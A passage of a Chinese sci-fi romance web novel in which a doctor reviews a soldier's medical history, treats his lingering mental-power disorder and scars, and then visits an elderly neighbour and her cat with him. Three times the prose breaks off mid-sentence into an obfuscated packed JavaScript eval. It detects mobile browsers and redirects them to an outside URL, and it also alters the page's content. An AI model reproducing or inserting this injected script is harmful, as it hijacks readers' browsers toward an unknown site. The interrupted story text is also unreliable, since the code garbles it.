“网上查不到……”兰司珞的声调像坐过山车一样划过一个“V”字,“啊,好的,我记住了。” 元墨洇回过头去,刚点开兰司珞的医疗档案,通讯软件就发来了兰司珞的新密码。 只需扫一眼,那串字符便自动刻在她脑海里,她的生日恰好就在正中间,令人无法忽视。 兰司珞发完消息便试探着挪到元墨洇身后,双手撑着椅背,和她一起看自己的资料。 光屏上。 左边是兰司珞的身体数据,横看竖看那些数字都十分优越,兰司珞满意地翘起嘴角。 右边是他的过往病例。 元墨洇恰好翻过第一页的建档信息,翻到第二页的第一次诊断记录。 兰司珞整个人都僵住了。 他的嘴角还维持着上扬的弧度,心脏却“咚”的一声坠入地底。 兰司珞完全忘了自己第一次看病,就是做的!包!皮!手!术! 兰司珞闭上眼,一片漆黑让他有了正在做梦的错觉。 他睁开眼,不管多少次移开目光,面前的页面依然停留在包.皮手术的诊断记录上。 冰冷的文字反复告诉他不是错觉。 如此睁眼闭眼一分钟,当然,对于兰司珞来说仿佛过了一年,他终于接受了现实,开始眼睁睁看着自己的心上人仔细研究自己的手术经过。 在兰司珞跌宕起伏的呼吸声中,元墨洇终于看完了这份诊断记录。 她并没有如兰司珞期盼的那样翻页,而是在旁边做了几个笔记,还点开了一个资料库,从中提取了几份相关资料,认真研读起来。 停笔后,她才把视线又一次放在兰司珞身上。 这是兰司珞自认识元墨洇以来,第一次想避开那双漂亮的银色眼眸。 他收回自己想要倒退半步的脚,勉强挤出一个算是笑容的表情,小腹微收,双腿夹紧,任由元墨洇打量自己。 元墨洇的声音如同冰雹砸在兰司珞脸上:“生物基因技术改革后,这类手术基本已消失。” “是、是啊……” “你的来自遗传,源于父系基因从来没有处理过这项病症。” “这、这样 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17242884|197816||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 啊……”兰司珞觉得脸都被冻硬了,舌头打结,不知道自己在说什么。 半晌后兰司珞的大脑才重新启动完毕,逐渐回忆起医疗课所学的知识。 基因技术改革后,人类掌握了能够修剪进化树的剪刀,许多曾经束手无策的病症都随着基因的改写而消失在进化的过程中。 他这个,某种程度上也算一种珍贵的遗留病例。 兰司珞如愿以偿得到了小白鼠的待遇,受到了元墨洇的上下打量,只是这份喜悦的心情和他想象中的并不一样。 他视死如归地开口挣扎:“你如、如果想要研究这、这个的话,可以来研、研究我!” “你不需要。” “需要的。”兰司珞感觉自己现在说什么都无所谓了,便决定直接从心里话开始讲起,“说不定没有恢复好呢?你要是想看的话,我也可以,不是,我不可以,如、如果,也不是不可以……” 元墨洇将诊断记录往后翻了一页,兰司珞的声音戛然而止。 他的目光从自己的档案上扫过,“珍辰之家”四个字如此显眼。 他忽然就明白了什么叫“你不需要”。 源自父系基因的遗传,意味着研究兰司珞,就要找到他的父系基因。 可是珍辰之家是元九针出资,冷辰一建立的另一种形式的“孤儿院”,收容的都是像他这样,父母签署了《断绝亲属关系同意书》的孩子。 他和自己的父系基因,早在还没记事起就一刀两断了。 更绝望的是,兰司珞发现自己刚才好像乱七八糟地说了一些不该说的话,又把事情搞砸了。 他耸拉着头,猜想元墨洇会不会直接向衡镜司星域举报他言语骚扰,而把他抓起来,还是直接用SS级精神力把他切成酥酥脆脆的傻子。 等了很久,他脑内的电视剧已经演到衡镜司星域的执法部门踹门而入,把他压在地上,而他挣扎不过,满面泪痕地仰头,还在试图把自己充满破碎感又美貌的一面展示给元墨洇。 但是什么也没发生,兰司珞抬起头来,看到元墨洇已经看完了他的医疗档案,在写一份关于他的总结。 他兰司珞知道自己体质评级高,身体好,从小到大根本没有生过病。诊断记录一共就四页,第一页是建档信息,第二页是,咳咳,后面两页是一样的病症,名为体质过载,一种训练过度之后常出现的症状。 他觉得没有什么好总结的,但是元墨洇写了好多东西上去。 兰司珞看着元墨洇写字的背影,轻而易举重新开心起来:“我从小身体就好,别人进行机甲训练一个小时就到极限了,我可以进行两个小时。就算是体质过载,我坚持的时间也比别人长,治疗周期更是比别人短。我……” 他围着元墨洇喋喋不休,像一只实验室里没心没肺的快活小金鼠。 窗户没有调暗,阳光悄无声息地洒在两人身上。 阳光穿过医疗室的窗户,照在兰司珞脸上。 他早已不是那个因为一份包.皮手术的诊断记录而尴尬到半夜跑到阳台的少年了。 如果他没有悄悄换了一个躲开元墨洇视线的位置努力调整呼吸的话。 17. 精神治疗 元墨洇快速地翻页,手指不停划动,连带着把兰司珞的心高高吊起。 她第一次拿到这份诊断记录的时候,上面只有四页,其中还有一页是建档资料。 而面前这份十年后传输过来的医疗档案上,页码显示有二百四十七页。 光是被标注了红色高危的记录就有十九份,而元墨洇只给过他十二支治疗药剂。 兰司珞竟然靠这十二支药剂重新回到自己身边。 一种陌生的情感悄然出现,无声无息地涌入元墨洇的心中。 就好像它一直都住在那里,只是被锁在门内,因为丢了钥匙,很久不曾触动过了。 元墨洇下意识弯曲了一下左手拇指,那里皮下早几年前就被植入了一个身体数据监测装置,随着她的动作,将她的身体数据发送到她的光脑。 心跳频率没有变化,血液流动平稳正常,精神力输出的波动值正在接近她设置的限制范围的最大值。 但面前活蹦乱跳的兰司珞显示着,她目前的精神力强度依然在她能轻松掌控的范围内。 兰司珞不知道自己的医疗档案有什么值得反复品鉴的,他只是靠自己敏锐的直觉捕捉到了元墨洇精神力的波动。 不过他并不认为元墨洇会难过或是心疼他,这倒不是因为住在他心里的元墨洇是个冷冰冰的形象,而是因为他自己并不觉得这些过往病例描述出来的他是个反复受伤的凄惨形象。 他觉得这一看就是一位征战沙场的大英雄的勋章,元墨洇肯定在为他开心。 因此,兰司珞自动把元墨洇的沉默理解为了在等他开口炫耀,他便如她所愿:“你也觉得我挺厉害吧?你看,这里面有好多伤,都是跟任务目标里最厉害的那只外星生物搏斗留下的,比如这张,还有这张。” 元墨洇停下翻阅的手。 “噢!对了,你大概还不知道吧。来汤燧星之前,我已经升到了少将。”兰司珞调整身体的位置,将衣服上象征军阶的图案露出来,“好像他们还说,我是星族联盟有史以来最年轻的少将。我的军阶升级仪式来了好多大人物,除了我们第三军团的顾元帅,第一军团的叶元帅也到了。仪式结束后,好多人找我……咳……还好我跑得快。” 兰司珞暗自锤了自己一拳,好险,差点顺口把好多人找自己相亲说出来了。 好在元墨洇没有在意他话里的疏漏,她的注意力在她的精神力图谱上。 随着兰司珞的一顿自夸,她的精神力图谱走势竟然渐渐平缓下来,就好像有一双手温柔郑重地托起元墨洇的情感世界,轻轻抚平。 元墨洇看了看身边那双写满了期待的蓝色眼睛,点头轻声说:“恭喜。” 声音冰冰凉凉,但是一下子点燃了兰司珞所有的热情,他把手伸向元墨洇的光屏,合上自己的医疗档案再从头翻起,面不改色地翻过第一份诊断记录后,他竟然还能笑着说:“你要是有空的话,我可以挨个给你讲讲我这些年的经历。” 他顺手划走一份十年前的诊断记录,正要开讲,元墨洇打断了他,把那份记录又翻了回来。 日期确实是十年前,病因写的是“认知型精神力失调”。 兰司珞挡住元墨洇的手:“这只是个小病,已经好了。” 元墨洇推开他的手点开了详情,手指轻敲上面的数值,静静看向兰司珞。 兰司珞本该解释,却停在原地开不了口。 十年前,中级学院毕业考试后,恰逢四年一度的奥林匹克运动会。 兰司珞:[我买了两张奥运会机甲比赛的票,你来吗?] 元墨洇:[好。] 兰司珞:[我已经到了。] 兰司珞:[位置信息] 兰司珞:[这里有好多种零食,我每样都买了一份。] 兰司珞:[图片] 兰司珞:[图片] 兰司珞:[图片] 兰司珞:[明天就开幕式了,你不来了吗?] 兰司珞:[没事,我们再隔5年一起看也是一样的。] 最终是弹出来的系统提示代替元墨洇回答了他。 【消息发送失败,该用户不存在。】 元墨洇就这样消失掉了。 星网上输入她的名字,点开是一片空白信息。 论坛上发过的帖子,被全部删得干干净净。 通讯软件里再也找不到这个人,“元墨洇”三个字发送出去会变成【审核中】,继而变成【发送失败】。 新闻里没有提到过这件事,因为再也无从谈起,所以除了兰司珞,似乎也没人记得元墨洇。 兰司珞自然没有看到那一届的奥运会。 他在约定好的地方一直等到了奥运会结束,等到所有人都离开,等到酒店只剩下他一个客人,大堂经理礼貌地询问他是否要续房。 他收拾行李离开了奥林匹克星,把自己关在家里,关了十几天。直到赫帆把他从满屋的狼藉中挖出来,却听见他问道:“你说,元墨洇这个人真的存在过吗?” 赫帆说:“没有,她没有存在过。” 兰司珞好像做了一个梦。 梦里的他越过一座又一座的高山,一点点靠近了那轮月亮。 他猛地一蹬,扑进月亮的怀里。 谁知月亮竟是一个虚影,他重重摔落在地上,醒了过来。 窗外的月亮明亮而又遥远,像是从未与他认识过。 赫帆硬是把兰司珞扭送进了医院,医师诊断出他患上了“认知型精神力失调”,给他开了一个疗程的药剂。 药剂用完之后,他的病毫无起色。 赫帆没有办法,他有一天抱着死马当成活马医的心态对兰司珞说:“你再这么消沉下去,就真的一辈子见不到她了。” 兰司珞手脚并用地从床上爬起:“什么意思?” 赫帆无奈:“好吧,我的错,我不该让你忘了她。对,我骗你了,她真的存在过,我全都知道。” “那我的表白她都知道?” “别说她,大家都知道了。” “我的激光锁,我的训练计划,我的机甲都是她给我做的?” “对,你跟我炫耀过几十次,烦死了。” “我们去约会也是真的?” “你还买了纪念品呢,就是不知道放到哪里去了。” 兰司珞不再搭理他,转头在房间内到处找纪念品。 他的病总算一天天好起来,帝都星高级学院开学前,赫帆约他出来吃饭。 他看起来像个正常人了,说话也恢复了他正常时候那种不正常的样子。 兰司珞嚼着肉,随意地说:“我要加入帝都星域的军团。” 赫帆挑眉:“不去普罗米修斯星域了?” 兰司珞摇头:“我查过了,军团才是机甲系最好的出路,我要走最厉害的那条路。至少等我们再次见面的时候,她不能因为站在身边的是我而失去面子。” “你有没有想过……”赫帆犹豫着开口,“如果,你到时候找到人了,但是……” 她结婚了,她不认识你了,她说之前中级学院那些不过是跟你玩玩。 赫帆还是没敢说出来,兰司珞从他的眼神里读懂了这些话。 他将筷子放在桌上,平静的蓝色瞳孔像风暴来临前的海面,清澈的表象下藏着惊涛骇浪:“赫帆,你既不了解她,也不了解我。” “你的''认知型精神力失调''并没有痊愈,数值达标后,医师擅自修改结果。” 元墨洇的声音响起,如同寒风吹过,唤醒了回忆中的兰司珞。 兰司珞沉默半晌:“其实是我让医师修改的,他说这个数值已经足够开痊愈证明了,我需要这份证明来通过军团的招新测试。” 元墨洇点开那份病例报告,点击进入治疗记录,在复发界面选择了新建一次治疗。 她一边编辑治疗方案一边对兰司珞说:“你先放……” 兰司珞只觉得脑子里“轰”的响了一下,紧绷了多年的弦骤然炸开。 他好像又回到了军团内部的心理治疗室,暖橘的灯光黏在他身上,医师的脸隐没在柔和的声线里,一遍又一遍地劝导他。 “你心里似乎藏着很重要的心事。” “放下吧,或者尝试将心里话说出来。出了治疗室,谁也不会知道你的秘密。” “放下吧,人要学会往前看,有些东西该舍弃的就要舍弃。” “放下吧……” “我放不下!”兰司珞拔高声音,手背把眼泪胡乱抹得到处都是,“我其实、其实从来没有放下过,这十年我每天都在想你。” 他明明抵挡住了医师一遍遍的劝慰。 他明明将自己的情感压制得很好,从来没在心理治疗室里失控过。 他明明学会了在思念里控制自己的精神力,学会了用笑容安慰自己,学会了充满希望地生活下去。 他明明看偶像剧的时候,看到男女主久 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他后知后觉的想到,元墨洇是看到了他精神力遗留下来的问题,刚好这是她最擅长的领域,于是她决定为自己解决这个小毛病。 等等,放松? 兰司珞惊恐地开口:“你刚刚是叫我放、放松?” “对,你现在痊愈了。” 兰司珞犹抱着幻想问了一句:“之前也是叫我放、放松?” “对。” 元墨洇平静的话语击碎了兰司珞最后一丝希望。 所以……她……让自己……放松……治疗…… 自己……却……在这里……又哭……又闹…… 兰司珞回想起刚才都干了什么,把脸深深埋进手里。 好在元墨洇依然是兰司珞记忆里那个元墨洇,她不会将心思花在嘲弄或者责备上。 因此兰司珞郁闷半晌后,从指缝间偷看元墨洇时,元墨洇果然没有关注他,而是正在看他递过去的光屏,上面是他千挑万选的猫。 元墨洇迟迟没有别的动作,似乎在重新考虑给兰司珞买猫的事。 兰司珞心头危机感大作,立刻将丢脸一事抛之脑后,伸手护住那块脆弱的光屏:“就算痊愈了,说不定我身上还有别的毛病,还可以用我们的兰白咪抢救一下。” 元墨洇向他摊开手掌,他只得不甘心地把光屏交了出去,含泪看着元墨洇点开那只白猫的界面,输入“兰白咪”,点击确认。 “地址。” 兰司珞脸上委屈的神色还没收敛回去,就这样可怜兮兮不情不愿地看着这只猫被打包好,不日就会送到他的私人星球。 如果何晞或者赫帆在这里,一定会吐槽他得了便宜还卖乖。 但是这里只有元墨洇,元墨洇是天底下最好的人,她只会叫来小耳朵,让它给终于明白发生了什么的兰司珞端来一盆热水洗脸。 兰司珞一边洗脸一边好奇地问:“鸭子摆摆呢?” 元墨洇:“……” 兰司珞还在那不死心地说:“我还挺想听你喊它的。” 元墨洇:“……” 兰司珞第三次试图开口的时候,天底下最好的元墨洇指着那张床对他说:“脱衣服,躺上去。” 兰司珞:“!” 什么鸭子摆摆,突然进展这么快,他手脚都不知道该往哪里摆了! 18. 接触式疗法 兰司珞的手犹犹豫豫摸上自己的扣子:“要脱完吗?” 他不知道在想些什么,脸上一阵红一阵白,最后混合成淡淡的粉色。 “按照接触式疗法的要求。” 元墨洇说完又等了一会儿,兰司珞还是没动,她抬眼看去,兰司珞正在光屏上搜索什么是接触式疗法。 注意到元墨洇的目光,兰司珞尴尬地挠了挠头:“我没体验过这个。” 他感觉到房间里的温度有一瞬的降低,还好他的光脑比较聪明,这个时候刚好加载出来搜索界面给他解围。 兰司珞立刻点开了排行第一的词条。 一个几近全.裸的男性身体建模出现在他面前,被一只手像是炒菜一样不停地翻来翻去摸来摸去。 兰司珞惊恐地抱住自己,他还没做好在元墨洇面前裸奔的心理准备。 他偷偷看向元墨洇,元墨洇平静的面容告诉他,只有他一个人没做好准备。 兰司珞扭扭捏捏地脱着衣服,元墨洇中途去倒了杯水回来,发现他才刚刚脱完上衣。 他身材很匀称,肌肉程度的评价向来是“标准”,腰比大多数军团军士要细一点,在机甲里动起来会更加灵活。 身上布满大大小小的伤疤,被元墨洇目光扫过,迅速变成了浅浅的红色。 看到元墨洇一边喝水,一边站在椅子旁等自己,兰司珞心慌意乱,终于被自己的裤子绊倒,整个人向元墨洇扑过去。 千钧一发之际,他下意识左手撑住椅背,将身体停在元墨洇身前。 对上那双银色眼睛的时候,脑海中出现一股可怖的针扎般的刺痛,又转瞬即逝。 若不是额头还有两滴冷汗,兰司珞几乎以为是错觉。 这个时候,兰司珞还没忘记伸出右手去接元墨洇的水杯,免得因为他的动作而打湿元墨洇的衣服。 水杯完好无损地待在主人手里,里面的水面平静得像元墨洇面无表情的脸。 兰司珞尴尬地收回手,站直了身体:“你看着我,我有点紧张。” 他裤子脱到一半,滑稽地搭在身上,裤脚拖在地面上。说话的时候,胸口失去了衣服的遮挡,露出掩藏不住的剧烈起伏。 元墨洇忽然想起他刚才红着眼睛对自己说的那句“我好想你”。 “放下杂念,保持精神力稳定。” 这句话有点耳熟,兰司珞偷瞄了一眼还没关上的光屏,在接触式疗法的介绍界面看到了这几个字。 “哦。”他失落地把裤子脱掉,无精打采地爬上床,那些乱糟糟的想法都被低落的情绪吹散了,连带精神力也平稳下来。 医疗室安静下来,元墨洇正在戴上专用的手套。 不知从何处传来一阵水流声,像积压多年的情感流淌在年轻火热的胸膛,徘徊不愿离去。 元墨洇的手落在兰司珞身上,他下意识紧绷身体,又控制着放松下来,过了一会儿又紧绷起来。 元墨洇感受着手底变幻莫测的触感:“放松。” “我在努力了。”兰司珞做了一个用时远低于他日常水平的深呼吸,“我从没感觉过深呼吸这么难。” 话音刚落,他怕元墨洇误会自己的意思,又急急忙忙补上了一句:“这和训练不太一样,毕竟我喜欢你。” 医疗室里的呼吸声似乎有了一瞬的凝滞。 “暂时放下。” 与这句话一同到来的是元墨洇的精神力,冰冷而锋利的力量强行涌入兰司珞的脑海,迫使他纷杂的思绪强行冷静下来。 “我放不下。”兰司珞轻声说,他到处乱窜的精神力忽然像是被一只无形的手攥住,“很多年了,一直放不下。” 兰司珞精神力稳定下来后,元墨洇没有再多说什么,她对着诊断记录,一条条从那些伤疤上触摸过去。时而停下来,用仪器进行扫描,在光脑上记录着数据。 兰司珞就像一块年糕一样直挺挺躺着,时不时翻个身趴下,又被翻回正面,感觉自己已经两面金黄,外酥里嫩了。 无聊地把自己想象成年糕玩了一会,他开始偷看元墨洇的光屏。除开他看不懂的数据,还有两块屏幕,一块是他的诊断记录,光看上面的图文就能想起当时交战的样子。另一块是类似笔记的页面,上面都是一条条连他都能看懂的简洁记录,全是与他的身体相关的,元墨洇就在这个页面上删删改改。 他看着那满屏的字,心想不愧是自己喜欢多年的人,这么点时间就能做出这么多东西来。 正写着,元墨洇手一顿,兰司珞立刻眼观鼻、鼻观心,认真躺好。 元墨洇的手划过腹肌上一条粗长的伤疤:“2394年,约克特莱的尾钩,长度多了2.976厘米。” 兰司珞的声音变得有些微的沙哑,他努力在脑海中想象出狰狞的外星生物的模样:“有一只特别大的变异体,任务情报里没有记载。它躲在中间偷袭我,我把它反杀了,就是这时候受的伤。因为它身体更大,所以这道疤比正常的伤口要大一些。我没有上报,因为我把它的尸体偷偷冷冻好留下来了,尾钩也在。” “嗯。” 兰司珞对这个冷淡的反应很不满意:“专门留给你做研究的。” “好。” 他满意了。 元墨洇得了信息,继续在笔记上做着记录。 “2397年,恢复时间与正常数据相比慢了一周。” 兰司珞声音略带急促的微喘:“当时刚刚完成一个A级任务,我负责的那片区域运气好,没有遭遇最强的一波进攻,最后伤亡率近乎0%。回程的时候路过黑渊星域,刚好有一个A级的镇压叛乱的任务,我就顺手接了。因为时间比较匆忙,医疗设施没有跟上,耽误了一周。” 元墨洇拿来仪器,在他那几处伤疤上重新扫描了一遍:“说实话。” “……”兰司珞沉默片刻,“你给的治愈剂用光了,当时随军的医师一时间没有想出什么好的治疗方案。我昏迷了,无法签强效治愈剂使用说明书。” 他知道他不该如此冒进,只是当时,他看着装了十二支空注射器的黑色金属箱,只觉得应该做点什么,来迫切地握住一闪而逝的希望。 他轻轻笑了,身体的震动顺着肌肉传入元墨洇的指尖:“现在看来,当时的冲动还是很值得的。” 元墨洇把兰司珞翻了个面,显出他背上一片红色的扇形,一根根排列整齐,从肩部一路延伸到侧腹。 “菲尼克斯,这个任务不适合你。” 元墨洇的光屏上正显示着菲尼克斯的3d投影,上面写着速度快、防御高,正是兰司珞这种擅长灵活作战的机甲战士的克星。 兰司珞把压在下巴底下的手伸出来,点开个人空间,半晌,一个巨大的蛋被捧到元墨洇面前。 他说:“我看到任务说明有写这是目前为止发现的最好吃的蛋,你拿去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17242886|197816||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 尝尝,我那里还有很多。” 元墨洇接过那只蛋,上面还留有保温装置的温度,耳边萦绕着兰司珞的声音:“或者你先放着,下次来我做给你吃,我跟青园星域那边专门要了一份菜谱。” 手里的蛋有些烫人,元墨洇起身先将它放进了自己的保温装置里,设置好30℃。 元墨洇将每一条伤疤的数据都核对清晰之后,窗外的天色都暗了下来。 兰司珞一直集中的精神力也放松下来,身体解除了那种板正的姿态,自然地摊开在床上。 元墨洇在桌边专注地整理着她的记录,兰司珞趴在床上看了一会儿,终于等到一个间隙,元墨洇趁着数据计算的过程,叫来了她的小机器人。 兰司珞抓住机会,开口问道:“现在我可以重新喜欢你了吗?” 元墨洇动作停下,小机器人的指令输入到一半,不明所以地卡在原地。 天才如元墨洇,拥有与生俱来的智慧,却也一时难以分辨出,兰司珞口中的“重新喜欢”,是哪一个“重新”。 是检查开始之前要求他暂时放下的“重新”,还是十年前曾经被迫断掉的那份“重新”。 无论是哪一个“重新”,都像兰司珞本人一样,总是炽热而直白。如同晴日里的阳光,无论你愿不愿意,只要你踏出门,他就毫无保留地黏上来。 总是让元墨洇不得不回头看他。 兰司珞已经坐起身来,他似乎已经忘记了自己现在头发凌乱、身体赤裸的模样,一双清澈的蓝色眼睛里没有一丝杂质,牢牢盯紧了元墨洇。 元墨洇的目光如同一束清冷的月光,照亮了他撑起身体的手下被捏紧的床单,映出他手臂上清晰完美的肌肉线条。 “给我一个理由。” 兰司珞深深吸了一口气,迎着那两轮银色的月亮,声音干涩却坚定:“因为我们曾经……交换过未来。” 没有人能从元墨洇那张永远冷漠的脸孔上读出她的情绪,兰司珞渴求一个回答,元墨洇却转回身去,继续操作她的机器人。 兰司珞垂下头,叫来小耳朵,让它给自己拿了一床被子过来,把整个人藏了进去。 元墨洇做完事情之后,把兰司珞从被子里挖出来。 兰司珞愣愣看着眼前的光屏,上面是之前他偷看到的记录笔记,此刻已经全部被梳理好了,变成了一份疗养方案。 他将界面慢慢往下滑,看到了一份特别详细的半年内疗养方案,然后是一年、三年、十年、未完待续…… 甚至根据后续治疗反馈,已经写好了调整的预案。 兰司珞想起在军团每次检查身体之后,医师都会委婉地提醒他,他还年轻,拼命之余,最好停下来缓一口气,选择一个合适的疗养方案调理身体,让自己的路能够走得更加长远。 他那个时候心里装着一个人,不愿意停下来。 他看向窗外,月光在这一瞬投射在他的身上。 他想,他等到自己想要的答案了。 元墨洇将疗养方案发送给兰司珞,也不在意他是否打开来看过,直接拿起一个注射器,示意他伸出手。 兰司珞一边伸手,一边想着等他回去要把上面写的时间都勾画出来,在光脑上提前设置好事项提醒。 他沉沉睡去,脑海中最后一个画面是元墨洇握住自己手臂推入注射器的修长手指。 像梦里无数次见到的那样,特别漂亮。 19. 黑咪,该洗澡了 兰司珞醒来的时候是第二天上午,他还躺在医疗室的床上,整个房间空无一人。 小耳朵尽职尽责蹲在他身边,见他醒来,用一板一眼的机械声音说:[您好,请问想吃什么午餐?这里有两份定制午餐方案,请选择。] 兰司珞眼睁睁看着自己面前的屏幕上出现了两份菜谱,成分表和功效一览无余。 他选择了肉多的那一份,试探性地询问:“可以加一杯奶茶吗?” 小耳朵亮起红灯:[警告,当前食谱需要控制甜味剂摄入量。] 兰司珞只好郁闷地起身,趁着小耳朵做饭的间隙去洗漱。 整个青囊诊所都静悄悄的,兰司珞到处逛了逛,只看到各种各样的机器人在尽职尽责地工作。 小耳朵准备的午餐用的不知道是什么肉,自身带着淡淡的甜味,吃得兰司珞意犹未尽。 他打开光脑,失望地看到元墨洇没有给他留下任何消息,倒是张奶奶问他有没有空,邀请他来家里吃饭,顺便帮黑咪洗个澡。 他看了看张奶奶发来的地址,离青囊诊所并不远,当即应下。 兰司珞回到医疗室,顺手把那床被子卷起,却被小耳朵拦下。 兰司珞:“我喜欢这床被子。” 小耳朵:[警告,请勿拿走主人的私人物品。] 兰司珞耳朵泛红,手上还在跟它拔河:“你先给我,我洗好再还回来。”顺带想好了十个拒绝归还的借口。 他没能争过小耳朵预设好的程序,手掌在被子上摸了又摸,恋恋不舍地离开了。 走到门口的时候,元墨洇正巧从门外进来。她手里展开一块光屏,正一边走一边对着身畔的乔砂和沈钧说着什么。 兰司珞非常自然地跟了上去,像乔砂和沈钧一样跟着元墨洇的话连连点头。 等到元墨洇回答完她们俩的问题,兰司珞跟着在元墨洇说完话的空隙里插进了一句:“张奶奶给我发消息,叫我去帮她洗猫,还做了很多好吃的。你要一起去吗?” 乔砂被吓了一跳,往沈钧身边靠。 沈钧冲乔砂挑了挑眉,乔砂摇了摇头,最后一齐看向元墨洇。 元墨洇面无表情地给她们俩一人布置了一份作业,然后把光脑收起:“走。” 兰司珞高高兴兴推开门,就这么当着乔砂和沈钧的面把元墨洇拐走了。 乔砂看了看沈钧,趁她脸上扭曲的笑容还未消散,快步向前走去。 沈钧终于回过神来,在她背后大喊:“我的花。” 乔砂捂住耳朵,不敢相信地跑了。 兰司珞带着元墨洇在汤燧星居民区里如鱼得水地穿梭,就好像在这里住了很多年一样。 他偶尔还停下来给元墨洇介绍:“这里是汤燧星最火的民宿,里面有好几种好吃的食物,还可以钓食人鱼,下次带你来玩。” 元墨洇关掉光屏,“嗯”了一声。 兰司珞小心翼翼地问:“你很忙吗?那我们走快一点。”反正绝口不提送元墨洇回去之类的话。 “今天不忙。” “那就好。”兰司珞好奇地看了一眼她的光脑,发现果真不再闪烁消息提示灯,这才用食指勾住她的袖口,指着某个方向,“前面就是了。” 张奶奶家里的门已经打开了,门口摆着两双拖鞋。兰司珞换好自己的鞋后,发现元墨洇站着没动。 他便熟练地按动鞋柜上的按钮,鞋柜旁弹出一个小板凳,刚好落在兰司珞另一只手上,他顺势将其放在元墨洇面前。 元墨洇坐下,慢条斯理地换下了自己的鞋,兰司珞就在一旁认真地看着。 他似乎才发现她头上的发圈是一种珍贵的弹性材料制成,这种材料不对外供应。她身上的白衣服永远都纤尘不染,随着动作没有一丝褶皱,看不出是什么材料做的。 这很奇怪,兰司珞想,他很少会像现在这样意识到元墨洇和何晞一样,是一位出身古老高级家族的小姐。 张奶奶家的客厅与正常的家装风格不同,更像是一个活动室,墙壁上挂满了储物柜,周围被分割出好几个不同风格的活动区域。 张奶奶从厨房探出头来,看到元墨洇愣了一下,随即笑着说:“你们先等一会儿,我这边还没弄好,屋子随便逛。黑咪——” 黑咪从她身边挤出一个脑袋来,看到兰司珞龇了龇牙,兰司珞对它挑了挑眉,它立刻如临大敌,浑身长毛竖起,被张奶奶轻轻拍了一下脑袋:“黑咪,要懂礼貌,去带客人参观家里。” 黑咪只好收敛起攻击性,磨磨蹭蹭挪到兰司珞身边,歪头好奇地打量元墨洇。 兰司珞没理黑咪,一伸手又把自己的手指挂在元墨洇的衣袖上。 他带着元墨洇来到满墙的储物柜旁,指着其中一个说:“我以前的储物柜就在这个位置,我给画了一把激光炮。” 他手指在柜门上勾画出一把激光炮和它数道激光柱,长长的五条线贯穿了整个柜门。 “闪电500,2365年基础款。” 兰司珞激动地跳了一下,差点踩到黑咪的尾巴,被黑咪狠狠回了一巴掌。 但他已然顾不得脚边猫的大声抗议:“你能认出来?!这是我小时候最喜欢的一款激光炮,优点是——” “射程远、速度快,但攻击力低、缺乏灵活性。”元墨洇在兰司珞亮晶晶的目光中补了一句,“很适合你。” 兰司珞果然灿烂起来:“我一见到闪电系列的激光炮就特别喜欢,这可惜这款已经停产了。我的机甲上正在使用的是流光999+,相比闪电系列来说稳重多了,牺牲了速度换了灵活性,是顾元帅给我挑的。其实我还是更喜欢闪电系列的手感。” 元墨洇给他展示了一个3D投影:“联星111+,联星系列去年的主推款,内置双激光发射器,只适合高精度射击评价A及A以上的人。” 兰司珞迫不及待地摆弄起面前的虚拟投影,双激光发射器可以同时发射两道激光,反应力强的人完全可以在发射过程中移动手腕,使得两道激光射向两个不同的方向。 简直像是给兰司珞量身定做的。 他摸了又摸,爱不释手,脑海中已经想象出自己的机甲装上这款激光炮的英姿了。 最终他还是恋恋不舍地把光屏还给了元墨洇。 元墨洇收起了光屏,看着他耸拉下来的金发:“我的仓库里就有这款激光炮,你勾选更换机甲武器许可之后就能装上。” 金发垂在兰司珞肩上,一点点翘起了边,就像他一点点翘起的嘴角。 兰司珞带着元墨洇离开柜子,推开某个房间的门:“居然真的有……这是机甲模拟对战室,我最喜欢的游戏,我还创了最快结束战斗的纪录和单人最高胜率的纪录。可惜后来都没人愿意跟我玩了。” 他熟练地点击设备上的按钮,一阵欢快的音乐声之后,架子上两个头盔亮起灯,屏幕上出现了对战界面。 兰司珞递给元墨洇一个头盔:“你第一次来机甲课我其实想找你约战的,但是你根本不去实战模拟室,每次都坐在旁边。后来只要你来上课,我也不去了。” 他一开始只是想蹲一个元墨洇工作完的时机邀请她,后来却盼着能在她身边静静待一节课的时光。 那些邀请的话淹没在青涩的岁月里,成为没能说出口的遗憾。 兰司珞将头盔放在元墨洇手心,却没有撤回自己的手:“我现在邀请你还来得及吗?” 五分钟后,战斗结束,兰司珞遭遇了人生中最快的惨败。 他摘下头盔,努力摒弃掉“元墨洇作弊”这种荒谬的思想,经过三次欲言又止、两次掐自己大腿、四次用力眨眼后,他问道:“原来你机甲成绩是真的啊。” 说完立刻捂住了嘴,结结巴巴地解释:“不是、我的意思是、就是……” 他解释不下去了,只好说实话:“我还以为可以在你面前展示一下我唯一的优点呢。” “我所有考试成绩都是真的。”元墨洇把自己的头盔递给兰司珞,目光清澈,让他的心思无所遁形,“我的精神力能放慢你的动作。” 